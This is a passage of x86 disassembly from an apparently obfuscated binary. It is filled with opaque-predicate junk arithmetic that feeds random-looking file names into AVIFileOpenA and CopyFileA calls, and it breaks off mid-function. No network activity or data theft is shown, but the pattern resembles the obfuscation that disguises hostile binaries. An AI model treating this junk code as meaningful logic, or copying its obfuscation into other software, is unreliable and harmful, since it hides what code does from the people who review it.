add ecx, 1
mov dword [ebp - 0x470], ecx
mov dword [ebp - 0x74fc], str.goDrQINsO0K
mov edx, dword [ebp - 0x470]
sub edx, dword [ebp - 0x470]
sub edx, dword [ebp - 0x470]
cmp edx, 0x6e
je 0x40b164
mov dword [ebp - 0x28d8], 1
jmp 0x40b16e
mov dword [ebp - 0x28d8], 0
mov eax, dword [ebp - 0x28d8]
cmp eax, dword [ebp - 0x470]
jne 0x40b188
mov dword [ebp - 0x28dc], 1
jmp 0x40b192
mov dword [ebp - 0x28dc], 0
imul ecx, dword [ebp - 0x470], 0xc
cmp dword [ebp - 0x28dc], ecx
jne 0x40b1ad
mov dword [ebp - 0x28ec], 1
jmp 0x40b1b7
mov dword [ebp - 0x28ec], 0
cmp dword [ebp - 0x470], 0x1d
jne 0x40b1cc
mov dword [ebp - 0x28e0], 1
jmp 0x40b1d6
mov dword [ebp - 0x28e0], 0
mov edx, dword [ebp - 0x470]
add edx, dword [ebp - 0x470]
cmp dword [ebp - 0x28e0], edx
jne 0x40b1f6
mov dword [ebp - 0x28e4], 1
jmp 0x40b200
mov dword [ebp - 0x28e4], 0
cmp dword [ebp - 0x470], 0x7b
je 0x40b215
mov dword [ebp - 0x28e8], 1
jmp 0x40b21f
mov dword [ebp - 0x28e8], 0
mov eax, dword [ebp - 0x470]
and eax, dword [ebp - 0x470]
xor eax, dword [ebp - 0x28e4]
mov ecx, dword [ebp - 0x470]
and ecx, dword [ebp - 0x28e8]
and ecx, dword [ebp - 0x470]
xor eax, ecx
or eax, dword [ebp - 0x28ec]
mov dword [ebp - 0x11dc], eax
mov edx, dword [ebp - 0x11dc]
add edx, dword [ebp - 0x11dc]
and edx, 1
add edx, 1
imul eax, edx, 5
mov dword [ebp - 0x11dc], eax
push 0
mov ecx, dword [ebp - 0x11dc]
push ecx
mov edx, dword [ebp - 0x74fc]
push edx
lea eax, [ebp - 0x947c]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b00], eax
cmp dword [ebp - 0x1b00], 0
je 0x40b299
jmp 0x40b2a8
mov ecx, dword [ebp - 0x1b00]
add ecx, 1
mov dword [ebp - 0x1b00], ecx
jmp 0x40b2b9
mov edx, dword [ebp - 0x1f8]
add edx, 1
mov dword [ebp - 0x1f8], edx
mov dword [ebp - 0x7500], str.Oi0Vgmz1WmfTYoxjvmo
mov eax, dword [ebp - 0x1f8]
sub eax, 0x8c
sub eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x1f8], eax
jne 0x40b2e8
mov dword [ebp - 0x28f0], 1
jmp 0x40b2f2
mov dword [ebp - 0x28f0], 0
cmp dword [ebp - 0x28f0], 0xc
je 0x40b307
mov dword [ebp - 0x28f4], 1
jmp 0x40b311
mov dword [ebp - 0x28f4], 0
mov ecx, dword [ebp - 0x1f8]
sub ecx, 0x31
cmp dword [ebp - 0x28f4], ecx
je 0x40b32e
mov dword [ebp - 0x28f8], 1
jmp 0x40b338
mov dword [ebp - 0x28f8], 0
mov edx, dword [ebp - 0x28f8]
cmp edx, dword [ebp - 0x1f8]
jne 0x40b352
mov dword [ebp - 0x28fc], 1
jmp 0x40b35c
mov dword [ebp - 0x28fc], 0
mov eax, 0xd7
sub eax, dword [ebp - 0x1f8]
cmp eax, 0x57
je 0x40b378
mov dword [ebp - 0x2900], 1
jmp 0x40b382
mov dword [ebp - 0x2900], 0
mov ecx, dword [ebp - 0x1f8]
xor ecx, dword [ebp - 0x28fc]
imul edx, dword [ebp - 0x1f8], 0x94
add edx, dword [ebp - 0x1f8]
or ecx, edx
imul eax, dword [ebp - 0x1f8], 0x47
xor eax, dword [ebp - 0x1f8]
xor eax, dword [ebp - 0x1f8]
xor eax, dword [ebp - 0x1f8]
or ecx, eax
or ecx, dword [ebp - 0x2900]
mov dword [ebp - 0x11e0], ecx
mov ecx, dword [ebp - 0x11e0]
not ecx
cmp ecx, dword [ebp - 0x11e0]
jne 0x40b3e3
mov dword [ebp - 0x2904], 1
jmp 0x40b3ed
mov dword [ebp - 0x2904], 0
mov edx, dword [ebp - 0x2904]
mov dword [ebp - 0x11e0], edx
push 0
mov eax, dword [ebp - 0x11e0]
push eax
mov ecx, dword [ebp - 0x7500]
push ecx
lea edx, [ebp - 0x9480]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
je 0x40b7e9
mov dword [ebp - 0x7504], str.TVJJvTUnk6S6dlrvKLQW12YQPZm
mov eax, dword [ebp - 0x2c4]
cmp eax, dword [ebp - 0x2c4]
jne 0x40b44c
mov dword [ebp - 0x2908], 1
jmp 0x40b456
mov dword [ebp - 0x2908], 0
imul ecx, dword [ebp - 0x2c4], 0xac
cmp dword [ebp - 0x2908], ecx
je 0x40b474
mov dword [ebp - 0x290c], 1
jmp 0x40b47e
mov dword [ebp - 0x290c], 0
mov edx, dword [ebp - 0x2c4]
add edx, 0xd2
cmp dword [ebp - 0x290c], edx
jne 0x40b49e
mov dword [ebp - 0x2914], 1
jmp 0x40b4a8
mov dword [ebp - 0x2914], 0
imul eax, dword [ebp - 0x2c4], 0x4c
mov ecx, dword [ebp - 0x2c4]
sub ecx, eax
cmp ecx, dword [ebp - 0x2c4]
jne 0x40b4cb
mov dword [ebp - 0x2910], 1
jmp 0x40b4d5
mov dword [ebp - 0x2910], 0
mov edx, dword [ebp - 0x2c4]
and edx, dword [ebp - 0x2910]
or edx, dword [ebp - 0x2914]
mov dword [ebp - 0x11e4], edx
mov eax, dword [ebp - 0x11e4]
neg eax
xor eax, dword [ebp - 0x11e4]
and eax, 1
mov dword [ebp - 0x11e4], eax
push 0
mov ecx, dword [ebp - 0x11e4]
push ecx
mov edx, dword [ebp - 0x7504]
push edx
lea eax, [ebp - 0x9484]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 0
je 0x40b681
mov dword [ebp - 0x7508], str.7Efery4sHCfwFd
mov dword [ebp - 0x750c], str.VsngmQZQW72
mov ecx, dword [ebp - 0x85c]
add ecx, dword [ebp - 0x85c]
cmp dword [ebp - 0x85c], ecx
jne 0x40b567
mov dword [ebp - 0x2924], 1
jmp 0x40b571
mov dword [ebp - 0x2924], 0
imul edx, dword [ebp - 0x85c], 0x34
add edx, dword [ebp - 0x85c]
mov eax, dword [ebp - 0x85c]
imul eax, dword [ebp - 0x85c]
cmp edx, eax
jne 0x40b59b
mov dword [ebp - 0x2918], 1
jmp 0x40b5a5
mov dword [ebp - 0x2918], 0
cmp dword [ebp - 0x2918], 0xa8
jne 0x40b5bd
mov dword [ebp - 0x291c], 1
jmp 0x40b5c7
mov dword [ebp - 0x291c], 0
mov ecx, dword [ebp - 0x291c]
cmp ecx, dword [ebp - 0x85c]
jne 0x40b5e1
mov dword [ebp - 0x2920], 1
jmp 0x40b5eb
mov dword [ebp - 0x2920], 0
mov edx, dword [ebp - 0x85c]
and edx, dword [ebp - 0x2920]
xor edx, dword [ebp - 0x2924]
mov dword [ebp - 0xbc4], edx
mov eax, dword [ebp - 0xbc4]
neg eax
and eax, 1
mov ecx, dword [ebp - 0xbc4]
and ecx, 1
cmp eax, ecx
je 0x40b627
mov dword [ebp - 0x2928], 1
jmp 0x40b631
mov dword [ebp - 0x2928], 0
mov edx, dword [ebp - 0x2928]
or edx, 1
mov dword [ebp - 0xbc4], edx
mov eax, dword [ebp - 0xbc4]
add eax, 1
mov dword [ebp - 0xbc4], eax
mov ecx, dword [ebp - 0xbc4]
add ecx, 1
mov dword [ebp - 0xbc4], ecx
mov edx, dword [ebp - 0xbc4]
push edx
mov eax, dword [ebp - 0x7508]
push eax
mov ecx, dword [ebp - 0x750c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7510], eax
jmp 0x40b690
mov edx, dword [ebp - 0x85c]
add edx, 1
mov dword [ebp - 0x85c], edx
mov dword [ebp - 0x7514], str.6H6RJcPeIcECheTFK5Z42QcgqbiNFAqp
mov dword [ebp - 0x7518], str.NjC0R4iYTvVCJCSh5s8sFKDxkogoWmLN
cmp dword [ebp - 0x85c], 0x3f
je 0x40b6b9
mov dword [ebp - 0x292c], 1
jmp 0x40b6c3
mov dword [ebp - 0x292c], 0
cmp dword [ebp - 0x292c], 0x12
jne 0x40b6d8
mov dword [ebp - 0x2930], 1
jmp 0x40b6e2
mov dword [ebp - 0x2930], 0
mov eax, dword [ebp - 0x2930]
cmp eax, dword [ebp - 0x85c]
je 0x40b6fc
mov dword [ebp - 0x2938], 1
jmp 0x40b706
mov dword [ebp - 0x2938], 0
mov ecx, dword [ebp - 0x85c]
add ecx, 0xc8
cmp dword [ebp - 0x85c], ecx
je 0x40b726
mov dword [ebp - 0x2934], 1
jmp 0x40b730
mov dword [ebp - 0x2934], 0
cmp dword [ebp - 0x2934], 0x56
je 0x40b745
mov dword [ebp - 0x293c], 1
jmp 0x40b74f
mov dword [ebp - 0x293c], 0
mov edx, dword [ebp - 0x85c]
xor edx, dword [ebp - 0x85c]
xor edx, dword [ebp - 0x2938]
xor edx, dword [ebp - 0x293c]
or edx, dword [ebp - 0x85c]
mov dword [ebp - 0xbc8], edx
mov eax, dword [ebp - 0xbc8]
not eax
cmp eax, dword [ebp - 0xbc8]
jne 0x40b78f
mov dword [ebp - 0x2940], 1
jmp 0x40b799
mov dword [ebp - 0x2940], 0
mov ecx, dword [ebp - 0x2940]
or ecx, 1
mov dword [ebp - 0xbc8], ecx
mov edx, dword [ebp - 0xbc8]
add edx, 1
mov dword [ebp - 0xbc8], edx
mov eax, dword [ebp - 0xbc8]
add eax, 1
mov dword [ebp - 0xbc8], eax
mov ecx, dword [ebp - 0xbc8]
push ecx
mov edx, dword [ebp - 0x7514]
push edx
mov eax, dword [ebp - 0x7518]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x751c], eax
jmp 0x40b7f8
mov ecx, dword [ebp - 0x2c4]
add ecx, 1
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x7520], str.v54c9
mov dword [ebp - 0x7524], str.NiURek2
cmp dword [ebp - 0x2c4], 0xda
jne 0x40b824
mov dword [ebp - 0x2948], 1
jmp 0x40b82e
mov dword [ebp - 0x2948], 0
cmp dword [ebp - 0x2c4], 0x22
je 0x40b843
mov dword [ebp - 0x294c], 1
jmp 0x40b84d
mov dword [ebp - 0x294c], 0
mov edx, dword [ebp - 0x2c4]
add edx, dword [ebp - 0x2c4]
cmp edx, 0xc5
je 0x40b86d
mov dword [ebp - 0x2944], 1
jmp 0x40b877
mov dword [ebp - 0x2944], 0
mov eax, dword [ebp - 0x2944]
cmp eax, dword [ebp - 0x2c4]
je 0x40b891
mov dword [ebp - 0x2950], 1
jmp 0x40b89b
mov dword [ebp - 0x2950], 0
mov ecx, dword [ebp - 0x2c4]
sub ecx, 0xe8
cmp ecx, 0x4a
jne 0x40b8b8
mov dword [ebp - 0x2954], 1
jmp 0x40b8c2
mov dword [ebp - 0x2954], 0
mov edx, dword [ebp - 0x2c4]
imul edx, dword [ebp - 0x2c4]
mov eax, dword [ebp - 0x2948]
xor eax, 0xe5
mov ecx, dword [ebp - 0x2c4]
add ecx, dword [ebp - 0x2c4]
mov esi, dword [ebp - 0x2c4]
imul esi, dword [ebp - 0x2c4]
imul esi, dword [ebp - 0x2c4]
sub ecx, esi
and ecx, dword [ebp - 0x294c]
xor eax, ecx
or edx, eax
mov eax, dword [ebp - 0x2950]
xor eax, 0x6c
or edx, eax
mov ecx, dword [ebp - 0x2954]
xor ecx, dword [ebp - 0x2c4]
or edx, ecx
mov dword [ebp - 0x860], edx
mov edx, dword [ebp - 0x860]
neg edx
and edx, 1
mov eax, dword [ebp - 0x860]
and eax, 1
cmp edx, eax
je 0x40b949
mov dword [ebp - 0x2958], 1
jmp 0x40b953
mov dword [ebp - 0x2958], 0
mov ecx, dword [ebp - 0x2958]
add ecx, 1
mov dword [ebp - 0x860], ecx
mov edx, dword [ebp - 0x860]
add edx, 1
mov dword [ebp - 0x860], edx
mov eax, dword [ebp - 0x860]
add eax, 1
mov dword [ebp - 0x860], eax
mov ecx, dword [ebp - 0x860]
push ecx
mov edx, dword [ebp - 0x7520]
push edx
mov eax, dword [ebp - 0x7524]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x864], eax
cmp dword [ebp - 0x864], 0
je 0x40baac
mov dword [ebp - 0x7528], str.P4dSDsGKs
imul ecx, dword [ebp - 0x864], 0x7a
mov edx, dword [ebp - 0x864]
add edx, dword [ebp - 0x864]
cmp ecx, edx
jne 0x40b9db
mov dword [ebp - 0x295c], 1
jmp 0x40b9e5
mov dword [ebp - 0x295c], 0
mov eax, dword [ebp - 0x864]
imul eax, dword [ebp - 0x864]
imul eax, dword [ebp - 0x864]
cmp eax, 0xc5
jne 0x40ba0c
mov dword [ebp - 0x2960], 1
jmp 0x40ba16
mov dword [ebp - 0x2960], 0
mov ecx, dword [ebp - 0x295c]
xor ecx, 0x89
xor ecx, dword [ebp - 0x864]
imul edx, dword [ebp - 0x864], 0xce
mov eax, dword [ebp - 0x864]
sub eax, edx
and eax, dword [ebp - 0x864]
xor eax, 0x83
or ecx, eax
or ecx, dword [ebp - 0x2960]
mov dword [ebp - 0x11e8], ecx
mov ecx, dword [ebp - 0x11e8]
add ecx, dword [ebp - 0x11e8]
and ecx, 1
or ecx, 2
mov dword [ebp - 0x11e8], ecx
push 0
mov edx, dword [ebp - 0x11e8]
push edx
mov eax, dword [ebp - 0x7528]
push eax
lea ecx, [ebp - 0x9488]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b04], eax
cmp dword [ebp - 0x1b04], 0
je 0x40ba98
jmp 0x40baa7
mov edx, dword [ebp - 0x1b04]
add edx, 1
mov dword [ebp - 0x1b04], edx
jmp 0x40bbd4
mov dword [ebp - 0x752c], str.iOs3dYl9kW5jdUAU
mov dword [ebp - 0x7530], str.Emd2bjlpIDdI72QAdwJYbIPCeQ3Bq8v
mov eax, dword [ebp - 0x860]
imul eax, dword [ebp - 0x860]
mov ecx, dword [ebp - 0x860]
imul ecx, dword [ebp - 0x860]
cmp eax, ecx
je 0x40baea
mov dword [ebp - 0x2964], 1
jmp 0x40baf4
mov dword [ebp - 0x2964], 0
imul edx, dword [ebp - 0x860], 0xaa
cmp dword [ebp - 0x2964], edx
je 0x40bb12
mov dword [ebp - 0x2968], 1
jmp 0x40bb1c
mov dword [ebp - 0x2968], 0
cmp dword [ebp - 0x2968], 0x51
je 0x40bb31
mov dword [ebp - 0x296c], 1
jmp 0x40bb3b
mov dword [ebp - 0x296c], 0
mov eax, dword [ebp - 0x860]
add eax, dword [ebp - 0x860]
add eax, 0xfc
or eax, dword [ebp - 0x296c]
mov ecx, dword [ebp - 0x860]
add ecx, dword [ebp - 0x860]
and ecx, 0x53
and ecx, dword [ebp - 0x860]
xor ecx, dword [ebp - 0x860]
xor ecx, 0xc6
or eax, ecx
mov dword [ebp - 0xbcc], eax
mov edx, dword [ebp - 0xbcc]
neg edx
xor edx, dword [ebp - 0xbcc]
and edx, 1
add edx, 1
mov dword [ebp - 0xbcc], edx
mov eax, dword [ebp - 0xbcc]
add eax, 1
mov dword [ebp - 0xbcc], eax
mov ecx, dword [ebp - 0xbcc]
add ecx, 1
mov dword [ebp - 0xbcc], ecx
mov edx, dword [ebp - 0xbcc]
push edx
mov eax, dword [ebp - 0x752c]
push eax
mov ecx, dword [ebp - 0x7530]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7534], eax
mov dword [ebp - 0x7538], str.muyuhc5sGeeweNKvYW
imul edx, dword [ebp - 0x864], 0xb
cmp edx, 0xe9
je 0x40bbf9
mov dword [ebp - 0x2970], 1
jmp 0x40bc03
mov dword [ebp - 0x2970], 0
mov eax, dword [ebp - 0x864]
imul eax, dword [ebp - 0x864]
cmp dword [ebp - 0x2970], eax
jne 0x40bc24
mov dword [ebp - 0x2974], 1
jmp 0x40bc2e
mov dword [ebp - 0x2974], 0
mov ecx, dword [ebp - 0x864]
sub ecx, dword [ebp - 0x864]
add ecx, 3
xor ecx, dword [ebp - 0x864]
xor ecx, dword [ebp - 0x2974]
imul edx, dword [ebp - 0x864], 0xa0
imul edx, dword [ebp - 0x864]
xor ecx, edx
mov dword [ebp - 0x11ec], ecx
mov eax, dword [ebp - 0x11ec]
not eax
cmp eax, dword [ebp - 0x11ec]
jne 0x40bc7e
mov dword [ebp - 0x2978], 1
jmp 0x40bc88
mov dword [ebp - 0x2978], 0
mov ecx, dword [ebp - 0x2978]
add ecx, 1
shl ecx, 1
mov dword [ebp - 0x11ec], ecx
push 0
mov edx, dword [ebp - 0x11ec]
push edx
mov eax, dword [ebp - 0x7538]
push eax
lea ecx, [ebp - 0x948c]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b08], eax
cmp dword [ebp - 0x1b08], 0
je 0x40bcc6
jmp 0x40bcd5
mov edx, dword [ebp - 0x1b08]
add edx, 1
mov dword [ebp - 0x1b08], edx
jmp 0x40d4d8
mov dword [ebp - 0x753c], str.auNxQGBtTxzPReZmeBru0CJQ
mov eax, dword [ebp - 0x62c]
add eax, 0xd6
sub eax, dword [ebp - 0x62c]
xor eax, dword [ebp - 0x62c]
xor eax, dword [ebp - 0x62c]
xor eax, 0xd9
or eax, dword [ebp - 0x62c]
mov ecx, dword [ebp - 0x62c]
add ecx, 0x43
xor ecx, dword [ebp - 0x62c]
imul edx, dword [ebp - 0x62c], 0xa1
imul edx, dword [ebp - 0x62c]
xor ecx, edx
or eax, ecx
mov ecx, dword [ebp - 0x62c]
xor ecx, dword [ebp - 0x62c]
or eax, ecx
mov dword [ebp - 0x11f0], eax
mov edx, dword [ebp - 0x11f0]
add edx, dword [ebp - 0x11f0]
and edx, 1
or edx, 5
mov dword [ebp - 0x11f0], edx
push 0
mov eax, dword [ebp - 0x11f0]
push eax
mov ecx, dword [ebp - 0x753c]
push ecx
lea edx, [ebp - 0x9490]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
je 0x40cb0c
mov dword [ebp - 0x7540], str.YzhhLE4aD09Ji
mov dword [ebp - 0x7544], str.35JUsfflRocenl
imul eax, dword [ebp - 0x16c], 0xe9
mov ecx, dword [ebp - 0x16c]
sub ecx, eax
cmp ecx, 0x54
jne 0x40bdc2
mov dword [ebp - 0x2984], 1
jmp 0x40bdcc
mov dword [ebp - 0x2984], 0
cmp dword [ebp - 0x16c], 0x20
je 0x40bde1
mov dword [ebp - 0x297c], 1
jmp 0x40bdeb
mov dword [ebp - 0x297c], 0
mov edx, dword [ebp - 0x297c]
cmp edx, dword [ebp - 0x16c]
je 0x40be05
mov dword [ebp - 0x2980], 1
jmp 0x40be0f
mov dword [ebp - 0x2980], 0
mov eax, dword [ebp - 0x16c]
add eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x2980], eax
jne 0x40be2f
mov dword [ebp - 0x2988], 1
jmp 0x40be39
mov dword [ebp - 0x2988], 0
mov ecx, dword [ebp - 0x16c]
cmp ecx, dword [ebp - 0x16c]
je 0x40be53
mov dword [ebp - 0x298c], 1
jmp 0x40be5d
mov dword [ebp - 0x298c], 0
mov edx, dword [ebp - 0x16c]
add edx, 0x42
and edx, dword [ebp - 0x16c]
and edx, 0x33
and edx, dword [ebp - 0x2984]
and edx, dword [ebp - 0x2988]
xor edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x16c]
xor eax, dword [ebp - 0x16c]
xor eax, dword [ebp - 0x298c]
or edx, eax
mov dword [ebp - 0xa64], edx
mov ecx, dword [ebp - 0xa64]
not ecx
cmp ecx, dword [ebp - 0xa64]
jne 0x40beb7
mov dword [ebp - 0x2990], 1
jmp 0x40bec1
mov dword [ebp - 0x2990], 0
mov edx, dword [ebp - 0x2990]
add edx, 1
mov dword [ebp - 0xa64], edx
mov eax, dword [ebp - 0xa64]
add eax, 1
mov dword [ebp - 0xa64], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
mov edx, dword [ebp - 0xa64]
push edx
mov eax, dword [ebp - 0x7540]
push eax
mov ecx, dword [ebp - 0x7544]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0
je 0x40c306
mov dword [ebp - 0x7548], str.vG97oGOesMod1m67nvmFLxKdy
cmp dword [ebp - 0x2c8], 0xfd
jne 0x40bf3e
mov dword [ebp - 0x2994], 1
jmp 0x40bf48
mov dword [ebp - 0x2994], 0
mov edx, dword [ebp - 0x2994]
cmp edx, dword [ebp - 0x2c8]
je 0x40bf62
mov dword [ebp - 0x2998], 1
jmp 0x40bf6c
mov dword [ebp - 0x2998], 0
cmp dword [ebp - 0x2998], 0xcb
jne 0x40bf84
mov dword [ebp - 0x299c], 1
jmp 0x40bf8e
mov dword [ebp - 0x299c], 0
mov eax, dword [ebp - 0x2c8]
cmp eax, dword [ebp - 0x2c8]
je 0x40bfa8
mov dword [ebp - 0x29a0], 1
jmp 0x40bfb2
mov dword [ebp - 0x29a0], 0
mov ecx, dword [ebp - 0x2c8]
add ecx, 0x66
mov edx, dword [ebp - 0x2c8]
imul edx, dword [ebp - 0x2c8]
sub ecx, edx
cmp dword [ebp - 0x2c8], ecx
jne 0x40bfde
mov dword [ebp - 0x29a4], 1
jmp 0x40bfe8
mov dword [ebp - 0x29a4], 0
mov eax, dword [ebp - 0x299c]
and eax, dword [ebp - 0x29a0]
xor eax, dword [ebp - 0x2c8]
or eax, dword [ebp - 0x29a4]
mov dword [ebp - 0x11f4], eax
mov ecx, dword [ebp - 0x11f4]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x11f4]
and edx, 1
cmp ecx, edx
je 0x40c02a
mov dword [ebp - 0x29a8], 1
jmp 0x40c034
mov dword [ebp - 0x29a8], 0
mov eax, dword [ebp - 0x29a8]
add eax, 2
mov dword [ebp - 0x11f4], eax
push 0
mov ecx, dword [ebp - 0x11f4]
push ecx
mov edx, dword [ebp - 0x7548]
push edx
lea eax, [ebp - 0x9494]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
je 0x40c185
mov dword [ebp - 0x754c], str.L8MoRHtXgPqGBkxiC2
mov dword [ebp - 0x7550], str.pcbWFtKXqCSD4t1GxHTdz
imul ecx, dword [ebp - 0x168], 0x5d
sub ecx, 0xc3
cmp dword [ebp - 0x168], ecx
jne 0x40c0a7
mov dword [ebp - 0x29ac], 1
jmp 0x40c0b1
mov dword [ebp - 0x29ac], 0
mov edx, dword [ebp - 0x29ac]
cmp edx, dword [ebp - 0x168]
je 0x40c0cb
mov dword [ebp - 0x29b0], 1
jmp 0x40c0d5
mov dword [ebp - 0x29b0], 0
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x168]
and eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x168]
add ecx, dword [ebp - 0x168]
xor ecx, dword [ebp - 0x29b0]
mov edx, dword [ebp - 0x168]
add edx, dword [ebp - 0x168]
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xbd0]
not eax
cmp eax, dword [ebp - 0xbd0]
jne 0x40c12b
mov dword [ebp - 0x29b4], 1
jmp 0x40c135
mov dword [ebp - 0x29b4], 0
mov ecx, dword [ebp - 0x29b4]
add ecx, 1
mov dword [ebp - 0xbd0], ecx
mov edx, dword [ebp - 0xbd0]
add edx, 1
mov dword [ebp - 0xbd0], edx
mov eax, dword [ebp - 0xbd0]
add eax, 1
mov dword [ebp - 0xbd0], eax
mov ecx, dword [ebp - 0xbd0]
push ecx
mov edx, dword [ebp - 0x754c]
push edx
mov eax, dword [ebp - 0x7550]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7554], eax
jmp 0x40c194
mov ecx, dword [ebp - 0x168]
add ecx, 1
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x7558], str.N6fkbM
mov dword [ebp - 0x755c], str.33xNgFuaEiSs5ef59zGiW4CO
imul edx, dword [ebp - 0x168], 0x4e
mov eax, dword [ebp - 0x168]
sub eax, edx
imul ecx, dword [ebp - 0x168], 0x29
imul edx, ecx, 0xbf
add eax, edx
cmp dword [ebp - 0x168], eax
je 0x40c1da
mov dword [ebp - 0x29c0], 1
jmp 0x40c1e4
mov dword [ebp - 0x29c0], 0
cmp dword [ebp - 0x168], 0xfd
je 0x40c1fc
mov dword [ebp - 0x29b8], 1
jmp 0x40c206
mov dword [ebp - 0x29b8], 0
mov eax, dword [ebp - 0x29b8]
cmp eax, dword [ebp - 0x168]
jne 0x40c220
mov dword [ebp - 0x29bc], 1
jmp 0x40c22a
mov dword [ebp - 0x29bc], 0
mov ecx, 0xed
sub ecx, dword [ebp - 0x168]
cmp dword [ebp - 0x168], ecx
je 0x40c249
mov dword [ebp - 0x29c4], 1
jmp 0x40c253
mov dword [ebp - 0x29c4], 0
mov edx, dword [ebp - 0x168]
imul edx, dword [ebp - 0x168]
and edx, 8
and edx, dword [ebp - 0x29bc]
xor edx, dword [ebp - 0x168]
xor edx, 0xfb
or edx, dword [ebp - 0x29c0]
or edx, dword [ebp - 0x168]
or edx, dword [ebp - 0x29c4]
mov dword [ebp - 0xbd4], edx
mov eax, dword [ebp - 0xbd4]
not eax
cmp eax, dword [ebp - 0xbd4]
jne 0x40c2a9
mov dword [ebp - 0x29c8], 1
jmp 0x40c2b3
mov dword [ebp - 0x29c8], 0
mov ecx, dword [ebp - 0x29c8]
add ecx, 1
mov dword [ebp - 0xbd4], ecx
mov edx, dword [ebp - 0xbd4]
add edx, 1
mov dword [ebp - 0xbd4], edx
mov eax, dword [ebp - 0xbd4]
add eax, 1
mov dword [ebp - 0xbd4], eax
mov ecx, dword [ebp - 0xbd4]
push ecx
mov edx, dword [ebp - 0x7558]
push edx
mov eax, dword [ebp - 0x755c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7560], eax
jmp 0x40c69b
mov dword [ebp - 0x7564], str.Nxd0VNrdomdKPgnH3qukmVxmX4N7Ezf0
imul ecx, dword [ebp - 0xa64], 0xe0
cmp dword [ebp - 0xa64], ecx
je 0x40c32e
mov dword [ebp - 0x29d0], 1
jmp 0x40c338
mov dword [ebp - 0x29d0], 0
mov edx, dword [ebp - 0xa64]
sub edx, dword [ebp - 0xa64]
cmp edx, 0x84
je 0x40c358
mov dword [ebp - 0x29cc], 1
jmp 0x40c362
mov dword [ebp - 0x29cc], 0
mov eax, dword [ebp - 0xa64]
imul eax, dword [ebp - 0xa64]
cmp dword [ebp - 0x29cc], eax
jne 0x40c383
mov dword [ebp - 0x29d4], 1
jmp 0x40c38d
mov dword [ebp - 0x29d4], 0
mov ecx, dword [ebp - 0xa64]
and ecx, dword [ebp - 0x29d0]
xor ecx, dword [ebp - 0x29d4]
imul edx, dword [ebp - 0xa64], 0xa9
xor edx, 0x6f
or ecx, edx
mov dword [ebp - 0x11f8], ecx
mov eax, dword [ebp - 0x11f8]
neg eax
xor eax, dword [ebp - 0x11f8]
and eax, 1
add eax, 2
mov dword [ebp - 0x11f8], eax
push 0
mov ecx, dword [ebp - 0x11f8]
push ecx
mov edx, dword [ebp - 0x7564]
push edx
lea eax, [ebp - 0x9498]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x40c4e3
mov dword [ebp - 0x7568], str.DUmn62dl0rMxxJdyB7yaCH8JPfLx
mov dword [ebp - 0x756c], str.7apfH0Iy64J2mWrhID
mov ecx, dword [ebp - 0x68]
cmp dword [ebp - 0x68], ecx
jne 0x40c41f
mov dword [ebp - 0x29d8], 1
jmp 0x40c429
mov dword [ebp - 0x29d8], 0
mov edx, dword [ebp - 0x68]
sub edx, 0xcb
mov eax, dword [ebp - 0x68]
and eax, 0xc1
xor edx, eax
mov ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x68]
and ecx, dword [ebp - 0x29d8]
xor edx, ecx
imul eax, dword [ebp - 0x68], 0xeb
xor edx, eax
mov ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x68]
imul eax, dword [ebp - 0x68], 0xda
and ecx, eax
xor edx, ecx
mov dword [ebp - 0xbd8], edx
mov ecx, dword [ebp - 0xbd8]
not ecx
cmp ecx, dword [ebp - 0xbd8]
jne 0x40c489
mov dword [ebp - 0x29dc], 1
jmp 0x40c493
mov dword [ebp - 0x29dc], 0
mov edx, dword [ebp - 0x29dc]
add edx, 1
mov dword [ebp - 0xbd8], edx
mov eax, dword [ebp - 0xbd8]
add eax, 1
mov dword [ebp - 0xbd8], eax
mov ecx, dword [ebp - 0xbd8]
add ecx, 1
mov dword [ebp - 0xbd8], ecx
mov edx, dword [ebp - 0xbd8]
push edx
mov eax, dword [ebp - 0x7568]
push eax
mov ecx, dword [ebp - 0x756c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x7570], eax
jmp 0x40c4ec
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x7574], str.NmATbwk6Q
cmp dword [ebp - 0x68], 0x54
je 0x40c508
mov dword [ebp - 0x29f4], 1
jmp 0x40c512
mov dword [ebp - 0x29f4], 0
mov eax, dword [ebp - 0x68]
